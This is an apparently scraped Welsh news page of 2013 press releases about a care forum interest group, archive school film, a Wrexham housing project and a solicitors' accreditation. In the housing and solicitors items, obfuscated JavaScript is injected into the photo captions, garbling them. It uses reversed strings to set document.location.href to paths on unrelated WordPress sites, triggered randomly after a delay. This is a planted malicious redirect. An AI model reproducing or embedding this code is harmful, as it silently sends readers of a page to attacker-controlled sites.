Category: News

New group to represent interests of vulnerable adults in North Wales

PO200212_Melanie_12 web ceidiog

A new group is being launched to protect and promote the interests of vulnerable adults with complex mental health needs in North Wales.

Care Forum Wales, the main representative body in the social care sector, is setting up a  Special Interest Group to drive up standards and give providers a unified voice.

One of the prime movers is trained psychiatric nurse Michelle Martin, whose company runs five specialist care homes in South Wales.

The aim is to look after the interest of Young Adults, between the ages of 18 and 65.

Care Forum Wales has already created a series of special interest groups throughout Wales so that different sectors of the care industry can share problems and ideas and get their views heard by the Welsh Assembly Government.

Policy Officer Melanie Minty believes the creation of the new group specialising in the needs of younger adults will be an important development.

She said: “Care Forum Wales is an umbrella body the creation of the group for adults with complex mental health needs means we all the specialisms covered.

“Most of the focus of society seems to be on children or the elderly, yet it is an area of increasing impact through drugs and alcohol misuse.

“We believe it is essential to represent the whole spectrum of social care needs in Wales.”

One of the prime movers is trained psychiatric nurse Michelle Martin.

While there are plenty of bodies to help those under 18, and older people over 65, Michelle feels no one in authority is asking organisation like hers how the service  for those in between can be improved.

Her special area of expertise is within the dual diagnosis fields of mental health, learning disability, substance misuse and forensic care.

Michelle, who runs five specialist care homes in South Wales, said: “I was very lucky when I started in the 80s it was the beginning of understanding that big institutions had to close and it took this long to close them.

“My career has always been about moving away from very large institutions and out into the community.

“When I started we had wards of 40 or more patients who did not even have their own clothes, they had what we called stock clothing. I had a passion to make a difference; I wanted to see people treated with respect and dignity, which was impossible in such circumstances even though there were a lot of good people working in the sector.”

“The problem with the NHS can be the hidden costs. With someone living in the community with special needs there can be trips to hospital, visits to the GP surgery for changes in medication, someone not collecting benefits and not paying rent, counsellors having to visit -  there can be huge financial costs from the chaos.

“Compare this with the use of a residential care home for a time where someone can learn living skills and find stability. We are not creating new institutions in the community, people need to be cared for.”

“We have to be realistic and not naïve, thinking we can make everybody well. But there needs to be joined up thinking about how the sector can truly help and break down some of the rivalry we have with each other to survive in business.

“In the voluntary sector you can have a three to five year contract when you know funding is in place. The independent sector is much more short term and there is a major problem with funding,” she said.

Anyone interested in finding out more about the plans for a special interest group can contact Policy Adviser Melanie Minty on 07969 489290 or or email her at to:melanie@careforumwales.co.uk">melanie@careforumwales.co.uk

Monday January 28th, 2013

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Historic archive film from top girls’ school in Denbigh goes to the nation

Howells school Denbigh.. Pictured is Megan Harris, Davina Critchley and Niamh McCormack.

Historic archive film of life at a top girls independent school is to be presented to the National Library of Wales.

The footage from the archives of Howells School, Denbigh, spans the momentous years from 1933 to 1952 and takes in the Depression, World War Two and the accession of the Queen.

It was shot in 16mm film, much of it in black and white and mainly by former teacher Miss Elizabeth Henley, known as ‘Hen’ who died, aged 97, only three years ago. She was assisted by a friend and fellow teacher, the late Miss Nancy Hughes.

It’s a remarkable archive, according to the school’s Education Principal Emma Jones who said: “These are more than just glimpses of a bygone age, the films were really detailed recordings of life at the school in momentous times.

“They also show that many of the traditions of the school have been maintained through to the present day and that the success of Howells School comes from our long-standing tradition of high standards of education and care.

“Much has sadly changed since these films were recorded . A large contingent of boarding girls used to board a special carriage at London Euston, and the train brought them to Denbigh station where they walked up to school – while the porters brought their boarding trunks to school from the station by pony and cart.

“Sadly the Denbigh rail line was removed in the 1960′s as part of the “Beeching cuts” – now our girls arrive at Manchester Airport and travel to school by minibus or car.

“A long standing end of term tradition was lost, where the girls would unravel their straw boaters on the train and hang them out as streamers to celebrate leaving Denbigh to spend their summer at home.”

The donation of the recordings was greeted with enthusiasm by Iola Baines, Film Development Officer for the National Library of Wales, who said: “We are always grateful to receive old film from Wales, they are an important historic resource.

“Many of them have been lost forever because of the fragile nature of early film so we are delighted to have this recording of life at the school over such an extended period.

“But even very old film is worth consulting us about because we have the skills and equipment to salvage much of what is becoming an increasingly rare resource.”

The Howells film begins with the 1933 Speech Day and the then headmistress, Miss Cicely Robinson, greeting the chairman of the school governors, the Archbishop of Wales, a governor of the school for 40 years.

It also includes the first Walk Down, the ceremonial procession carried out by the girls every year since though once there was a Walk Up, much to Miss Henley’s horror: “All those wobbling bottoms,” she complained.

It also offers a record of the fashions of the time, both among the pupils and their parents, and of the school activities which in the 1930s and 1940s included weaving and basketry.

Picnics were also popular even though they often only meant going as far as the school playing fields though that made life easier for maids who carried jugs of refreshing lemonade down from the school.

But there were trips further afield, to the Chester Pageant by Crosville bus in 1937 and to the Swiss ski resort of Wengen in 1949, while two Old Howellians were in the Wales lacrosse team which took on Ireland in an international match at the school in 1938.

The girls also did their bit in the war years with gymnastic displays on Denbigh’s High Street for War Weapons Week in 1941 and a Wings For Victory event in 1943 and there were wartime sports days and snowy days too.

Among the girls there then was Catherine Martineau, now 82, who later became a member of staff at the school and is still going strong commuting regularly from her Devon home as curator of the School Museum which she set up.

Miss Martineau, originally from Wolverhampton, who edited the contents of the dvd, was a pupil from 1941 to 1948, said: “My cousin, who was ten years older than me, had been to Howells and my father wanted to get me away from the Midlands with the blitz on.

“I really enjoyed it right from the start even though not everyone does to begin with because it can be lonely and many girls got homesick but I loved it.

“There was lots of company and you made so many friends for life while it was just so well run that you couldn’t do anything else but enjoy it and I certainly did.

“Denbigh was somewhere quite new and most of the girls were boarders. There were day girls and some of them spoke Welsh but you never heard it in school.

“It was also strange not seeing your parents for a whole term – these days the youngsters seem to go home at the drop of a hat.

“I was privileged to take part in sports and I went on to qualify as a PE teacher at Dartford College in Kent and I taught all my working life, first PE and then RE, religious education.”

Howells Trustee Nicola Locke said: “It’s wonderful to see Catherine with the girls today, watching the old film of the school when she was their age and telling them about her days here.

“It’s a real link with the past and it brings history alive for them, not just the history of the school, but the history of the country and what it was like to grow up in those war years.”

Monday January 28th, 2013

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Housing project boosts Wrexham economy to the tune of £50 million

£17 million contract for Wales and West will benefit Wrexham area economy $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to the tune of over £50 million, pictured on the Anwyl site on Kingsmill Road Wrexham is Anwyl?s Construction Manager Iain Murray, left, and Councillor Mark Pritchard, Wrexham County Council Lead Member for Housing and Planning, with Phil (left) and Emlyn Roberts of Drumreed groundworks and Andrew Evans, centre, of Jones Roofing.

A major social housing development in Wrexham could provide a £50 million plus boost to the local economy.

Award-winning builders Anwyl Construction have started work on building 127 homes, with a further 20 awaiting planning, on two sites in the town for top social housing organisation Wales & West Housing, in partnership with Wrexham Council.

The developments at Rivulet Road and Kingsmills Road are worth a total of £15 million and Anwyl Construction Director Tom Anwyl said: “In all 80 per cent of that cost will go on wages and with 80 per cent of the workforce involved from within ten miles of Wrexham it’s a massive boost for the local economy.

“We estimate that will mean over £10 million injected into the economy and it is accepted every £1 will be spent locally five times so that adds up to more than £50 million being spent on goods and services in the area.

“In addition there is the added boost to employment and to training because both Wales & West Housing and Anwyls are keen to see the sub-contractors we use take on apprentices from the area.”

Councillor Mark Pritchard, Wrexham Council’s Lead Member for Housing and Planning, said: “Congratulations must go to Wales & West Housing and Anwyl Construction who are helping local businesses, providing jobs for local people and giving a huge boost to the local economy by their working practices.”

The developments in Wrexham will see them building on two sites, at Rivulet Road where more than 35 houses and apartments will be built while a further 92 houses and apartments will be developed on Kingsmills Road. The scheme will be completed with a new community resource centre and clinic, which is expected to be finished in 18 months.

Craig Sparrow, Development Manager North for Wales & West Housing, added: “We’re delighted to see these figures. Wales & West Housing and Anwyls are committed to maximising opportunities to increase local employment and training during development, as well as using local supply chains, which has provided a real boost to the local economy.

“When finished, this exciting project will provide much needed good quality, affordable homes and a new Community Resource Centre, helping to support a sustainable community in Wrexham.”

Currently working on the Kingsmills Road site is groundworks contractor Drumreed, from New Broughton, Wrexham, and director Phil Roberts, who runs the family business with his brother, Emlyn, said: “We’ve been going for 28 years but if we hadn’t had this work we’d have been laying men off.

“It’s the biggest part of our work at the moment so it has been very important for us.

“We’ve done work for Anwyls for a number of years now and we always try to use other local suppliers ourselves to make sure they benefit too.”

Andrew Evans, General Manager of Jones Roofing, with bases in Wrexham and Colwyn Bay, said: “This is a great job to have and it has meant we’ve been able to keep staff on.

“It’s money in the pockets of Wrexham lads and it’s good to see two such major building projects going ahead in the town which seems to be a hive of industry at the moment.

“The Wales & West developments are probably the biggest in North Wales at the moment.”

Anwyl’s Construction Manager Iain Murray said: “We have employed a range of sub-contractors after holding a Meet The Contractor event last June.

“We are a North Wales company with an established trade base in Wrexham where we have been building for more than 15 years and we have now expanded that trade base.

“We have a core base of contractors and the volume of work has meant more opportunities for local workers and businesses to come on board.”

Already eight apprentices have been taken on by bricklaying sub-contractor Alan Davies and Sons, of Gresford, with four of them coming from Yale College’s Faculty of Construction and Engineering.

Faculty Director Graham Evans said: “We’re delighted that four of our students have been taken on and we hope that as the job progresses we will also see opportunities for apprentice joiners, plasterers, electricians and plumbers.”

To keep up to date with the latest on the developments, find out about upcoming opportunities and to have your say go to townflats.com">www.hightownflats.com

Monday January 28th, 2013

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Home run for Wrexham solicitors

Cyril Jones and Co are presented with the CQS standard for conveyancing, they are the 2000th firm in England and Wales $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to receive it and Lowri Morgan Manager of the Law Society presented the certificate. Pictured (L/R) is Glen Murphy , Lowri Morgan head of the law Society Wales, Marta Zembrowska and Gareth Jones.

One of Wales’s most respected and longest-established law firms has won the profession’s newest quality mark.

Cyril Jones & Co, which was founded in Wrexham  over 90 years ago, has just been accredited with the Law Society’s coveted Conveyancing Quality Scheme (CQS).

The firm also has the distinction of being the 2,000th firm of solicitors in Wales and England to receive it.

Since the CQS was launched by the Law Society in 2011 it has quickly become recognised  as the key quality mark for the home-buying process and is now a requirement for law firms acting for both the bank and the borrower on mortgage transactions for some lenders.

CQS members are entitled to act for HSBC and Clydesdale and Yorkshire Bank when the firm acts for both the borrower and the bank, while Santander is requiring all solicitor practices on its conveyancing panel to have applied for CQS accreditation by March 31, 2013.

The scheme requires practices to undergo strict assessment, compulsory training, self-reporting, random audits and annual reviews in order to maintain CQS status.

It is open only to members of the Law Society who meet the demanding standards set by the scheme.

Solicitor Glen Murphy,  one of  the partners at Cyril Jones & Co, said: “Our clients need to know that they are getting the best service available when buying their home and gaining CQS from the national Law Society assures them of that.

“Being accredited also helps to guard against fraud and says that our clients come first.

“The conveyancing process can be complicated, so CQS gives reassurance that it is in safe hands.

“We are delighted to be part of the CQS initiative.”

Gareth Jones, senior partner at Cyril Jones & Co, said it had taken his firm around nine months of hard and exacting work to gain the CQS accreditation on behalf of its offices in Grosvenor Road, Wrexham and Chester Road West,  Shotton, Flintshire.

He explained: “We have been doing conveyancing on behalf of our clients since the firm was set up in 1919 and was originally known as the ‘poor man’s solicitors’. We have since dealt with many thousands of properties across the areas we serve.

“At our Wrexham office we have a team of five solicitors plus support staff specialising in conveyancing work and at our Shotton office we have two solicitors and support staff dedicated to it.

“At Wrexham, one of our team, solicitor Marta Zemrowska, can undertake conveyancing in the Polish language, which is useful as we have quite a number of people from Poland buying property in the area.”

Mr Jones added:  “We began striving for the CQS standard in April of last year and all our teams worked very hard on the process. Our accreditation comes as a just reward and recognition for everything they put into it.

“The CQS plaque will now be proudly displayed in our reception area.”

Lowri Morgan, head of the Law Society in Wales, who travelled from her base in Cardiff specially to present the CQS accreditation certificate to Cyril Jones & Co, said: “We congratulate them on becoming a CQS firm.

”All firms that now hold the quality mark have proven their commitment to high standards in conveyancing.

“Many people assume that only solicitors do conveyancing but there are other service providers out there who are not solicitors.

“CQS allows consumers who are buying a home – one of the biggest purchases in people’s lives – to not only be assured that it is a solicitor they are using for this important process, but also that it is one which has gained recognition for the high standards it provides through CQS.”

Cyril Jones,  who was born in Llanarmon yn lal in 1880 and founded Cyril Jones & Co in 1919, was a lawyer of the old school with a passion  for representing the poor and needy. He was a Welsh speaker who supported the idea of a Welsh Parliament and a local politician who led the clearance of Wrexham’s slums.

Most famously, Mr Jones represented the families of the miners who died in the appalling Gresford Disaster of 1934 when 267 men died, many of them entombed underground.

He briefed the famous barrister and Labour MP Sir Stafford Cripps for the public inquiry which led directly to the nationalisation of the mines by Clement  Atlee’s post-war Labour Government.

Mr Jones served as Mayor of Wrexham, a Freeman of the borough and even stood unsuccessfully for Parliament in Flintshire against his brother, Liberal MP Fred Llewellyn Jones, who had founded another eminent law firm, Llewellyn Jones and Armon Ellis.

Monday January 28th, 2013

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